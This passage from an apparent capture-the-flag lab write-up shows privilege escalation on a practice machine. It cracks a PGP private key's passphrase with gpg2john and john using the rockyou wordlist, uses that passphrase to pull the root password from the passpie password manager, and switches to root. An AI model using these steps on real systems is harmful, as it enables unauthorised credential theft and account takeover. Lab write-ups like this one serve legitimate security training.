jnelson@meta2:~$

Crack PGP Private Key

To crack the password, we first need the key in a john-compatible format. For this, we run the gpg2john program as follows:

$ gpg2john private.key > hash

After we have a compatible format we just need to run john with the RockYou wordlist as follows:

$ john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])
Cost 1 (s2k-count) is 65011712 for all loaded hashes
Cost 2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512 11:SHA224]) is 2 for all loaded hashes
Cost 3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192 9:AES256 10:Twofish 11:Camellia128 12:Camellia192 13:Camellia256]) is 7 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
blink182         (Passpie)     
1g 0:00:00:03 DONE (2022-11-01 05:13) 0.2824g/s 46.32p/s 46.32c/s 46.32C/s ginger..blink182
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

$

With this, we can now know that the passphrase to retrieve the root flag is blink182.

Request root password from passpie

Now that we were able to retrieve the passphrase we just need to try to retrieve the root password from passpie by requesting it and passing the right passphrase when requested:

jnelson@meta2:~$ passpie copy ssh --to stdout
Passphrase: 
p7qfAZt4_A1xo_0x
jnelson@meta2:~$ 

Obtain root

What remains to do, now that we have found the root credentials, is just to request to change the user to root and use the credentials found previously:

jnelson@meta2:~$ su
Password: 
root@meta2:/home/jnelson#